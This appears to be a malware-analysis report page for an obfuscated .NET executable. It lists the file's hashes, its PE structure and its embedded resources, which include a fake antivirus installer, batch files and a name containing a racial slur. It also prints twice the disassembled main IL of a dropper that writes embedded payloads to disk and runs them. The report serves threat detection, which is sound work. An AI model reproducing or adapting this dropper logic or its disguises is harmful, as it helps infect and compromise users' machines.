Suspicious
Suspect

637d140a25eb70e57398fae83ad494fc

Share on LinkedIn
Print
PE Executable
MD5: 637d140a25eb70e57398fae83ad494fc
Size: 16.37 MB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 637d140a25eb70e57398fae83ad494fc
Sha1 60ac2902d8aedc6e08d1374795af281ef32002db
Sha256 fc53884a4452b6f808e280dc3fc3a051d0129be2aabf61ea816dacf6c3ea9e80
Sha384 3f1d2fee544a5099768303a40851b0a528f6f169f7cc150b706b9ea9908339172e5c8ec06abf1fe33c2470d987f7b6f6
Sha512 5b726c3aae75b997a78db1fb39ab1ba16a16d0315736faa165ce02e2dc10e4cd17555c5bf730db3b77f292257d85e0fb32f66abab3b66ccd0e7c56216c0031cf
SSDeep 393216:UbtXHjeRtW12z7RtWI2QzyW7H+BpzRdyRpczVI8IjzCjpKz:UxzevW12z7vWI2SehV6zn
TLSH ECF601070C227A74D3B16E3FAC81B506289025277AD122FD354ED4F5EC39E895AADE7C
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual C++ v6.0 DLLMicrosoft Visual Studio .NET
637d140a25eb70e57398fae83ad494fc
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
umrbwprjpaubld.Resources
Loli.bat
MpCmdRun.exe
avast_free_antivirus_setup_online.exe
niggascaughtstealin.exe
rce.exe
rrrrr.exe
uwu.exe
workyhopey.exe
Name Value
Module Name
tuptuo.exe
Full Name
tuptuo.exe
EntryPoint 
System.Void UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::IjwanaRnXQeG7ABNKTzDB3jS6uDqZppzpxzPMO8JWI()
Scope Name
tuptuo.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
tuptuo
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
31
Main Method 
System.Void UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::IjwanaRnXQeG7ABNKTzDB3jS6uDqZppzpxzPMO8JWI()
Main IL Instruction Count
159
Main IL 
ldc.i4.1 <null>
stloc.s V_5
call System.Boolean UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::yUxpzCwD0oxlqqUeZtdiiRSOHo3joVnQWyRAKl1VLNP2Wt9wMCIYLOXj1NsXlQ7PPVDO6M0aRc()
brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.2 <null>
stloc.s V_5
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.1 <null>
stloc.3 <null>
ldc.i4.5 <null>
stloc.s V_5
ldsfld System.Collections.Generic.List`1<System.String> UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::XXOe5xyJce4Td9TEr4YwsSyWCHWPOmyb2pUigG38wDwJElHnmaQ46WbGy1B9ykVWLTVhaCU2h6
callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator()
stloc.2 <null>
br IL_0130: ldloca.s V_2
ldloca.s V_2
call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current()
stloc.0 <null>
ldc.i4.6 <null>
stloc.s V_5
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::acuHm7cuXxI6YzUxcmoXoTIKvub6ktaVux1LqIEZRuwHZRAdmuCHDiZAUWxmwuzZsGjKhYSl9X
call System.Object UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::HF2ibHCPukN5ry7zSr0plVHr3pRatW7eWrh5fk6CcwvbZhySuEvIeNrcitIts5iEoIyQyxxyE9(System.String)
ldstr \
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stloc.1 <null>
ldc.i4.7 <null>
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.2 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_00CB: ldc.i4.s 13
ldc.i4.8 <null>
stloc.s V_5
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brtrue.s IL_00C9: br.s IL_0123
ldc.i4.s 9
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::RwZtd8sm70o8O7EpWfSqjS5NhtucUjm1Nw9JWqV5FP2NnaKKSDk21MrxzTxckluiyPaDj2cIom(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 10
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
br.s IL_0123: ldc.i4.s 19
ldc.i4.s 13
stloc.s V_5
ldc.i4.s 14
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::RwZtd8sm70o8O7EpWfSqjS5NhtucUjm1Nw9JWqV5FP2NnaKKSDk21MrxzTxckluiyPaDj2cIom(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 15
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.1 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_0123: ldc.i4.s 19
ldc.i4.s 16
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldc.i4.s 19
stloc.s V_5
call System.Void System.GC::Collect()
ldc.i4.s 20
stloc.s V_5
ldloca.s V_2
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext()
brtrue IL_002D: ldloca.s V_2
ldloca.s V_2
constrained. System.Collections.Generic.List`1/Enumerator<System.String>
callvirt System.Void System.IDisposable::Dispose()
leave IL_01F8: ldloc.s V_4
ldloc.s V_4
br.s IL_0156: ldc.i4.0
ldloc.s V_4
ldc.i4.1 <null>
add <null>
ldc.i4.0 <null>
stloc.s V_4
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
ldloc.s V_5
stloc.s V_4
ldloc.3 <null>
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
isinst System.Exception
ldnull <null>
cgt.un <null>
ldloc.3 <null>
ldc.i4.0 <null>
cgt.un <null>
and <null>
ldloc.s V_4
ldc.i4.0 <null>
ceq <null>
and <null>
endfilter <null>
castclass System.Exception
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
leave.s IL_01B8: ldloc.s V_5
ldc.i4 -2146828237
call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32)
throw <null>
ldloc.s V_4
brfalse.s IL_0201: ret
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ret <null>
Module Name
tuptuo.exe
Full Name
tuptuo.exe
EntryPoint 
System.Void UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::IjwanaRnXQeG7ABNKTzDB3jS6uDqZppzpxzPMO8JWI()
Scope Name
tuptuo.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
tuptuo
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
31
Main Method 
System.Void UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::IjwanaRnXQeG7ABNKTzDB3jS6uDqZppzpxzPMO8JWI()
Main IL Instruction Count
159
Main IL 
ldc.i4.1 <null>
stloc.s V_5
call System.Boolean UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::yUxpzCwD0oxlqqUeZtdiiRSOHo3joVnQWyRAKl1VLNP2Wt9wMCIYLOXj1NsXlQ7PPVDO6M0aRc()
brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.2 <null>
stloc.s V_5
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.1 <null>
stloc.3 <null>
ldc.i4.5 <null>
stloc.s V_5
ldsfld System.Collections.Generic.List`1<System.String> UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::XXOe5xyJce4Td9TEr4YwsSyWCHWPOmyb2pUigG38wDwJElHnmaQ46WbGy1B9ykVWLTVhaCU2h6
callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator()
stloc.2 <null>
br IL_0130: ldloca.s V_2
ldloca.s V_2
call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current()
stloc.0 <null>
ldc.i4.6 <null>
stloc.s V_5
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::acuHm7cuXxI6YzUxcmoXoTIKvub6ktaVux1LqIEZRuwHZRAdmuCHDiZAUWxmwuzZsGjKhYSl9X
call System.Object UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::HF2ibHCPukN5ry7zSr0plVHr3pRatW7eWrh5fk6CcwvbZhySuEvIeNrcitIts5iEoIyQyxxyE9(System.String)
ldstr \
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stloc.1 <null>
ldc.i4.7 <null>
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.2 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_00CB: ldc.i4.s 13
ldc.i4.8 <null>
stloc.s V_5
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brtrue.s IL_00C9: br.s IL_0123
ldc.i4.s 9
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::RwZtd8sm70o8O7EpWfSqjS5NhtucUjm1Nw9JWqV5FP2NnaKKSDk21MrxzTxckluiyPaDj2cIom(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 10
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
br.s IL_0123: ldc.i4.s 19
ldc.i4.s 13
stloc.s V_5
ldc.i4.s 14
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::RwZtd8sm70o8O7EpWfSqjS5NhtucUjm1Nw9JWqV5FP2NnaKKSDk21MrxzTxckluiyPaDj2cIom(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 15
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.1 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_0123: ldc.i4.s 19
ldc.i4.s 16
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldc.i4.s 19
stloc.s V_5
call System.Void System.GC::Collect()
ldc.i4.s 20
stloc.s V_5
ldloca.s V_2
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext()
brtrue IL_002D: ldloca.s V_2
ldloca.s V_2
constrained. System.Collections.Generic.List`1/Enumerator<System.String>
callvirt System.Void System.IDisposable::Dispose()
leave IL_01F8: ldloc.s V_4
ldloc.s V_4
br.s IL_0156: ldc.i4.0
ldloc.s V_4
ldc.i4.1 <null>
add <null>
ldc.i4.0 <null>
stloc.s V_4
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
ldloc.s V_5
stloc.s V_4
ldloc.3 <null>
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
isinst System.Exception
ldnull <null>
cgt.un <null>
ldloc.3 <null>
ldc.i4.0 <null>
cgt.un <null>
and <null>
ldloc.s V_4
ldc.i4.0 <null>
ceq <null>
and <null>
endfilter <null>
castclass System.Exception
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
leave.s IL_01B8: ldloc.s V_5
ldc.i4 -2146828237
call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32)
throw <null>
ldloc.s V_4
brfalse.s IL_0201: ret
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙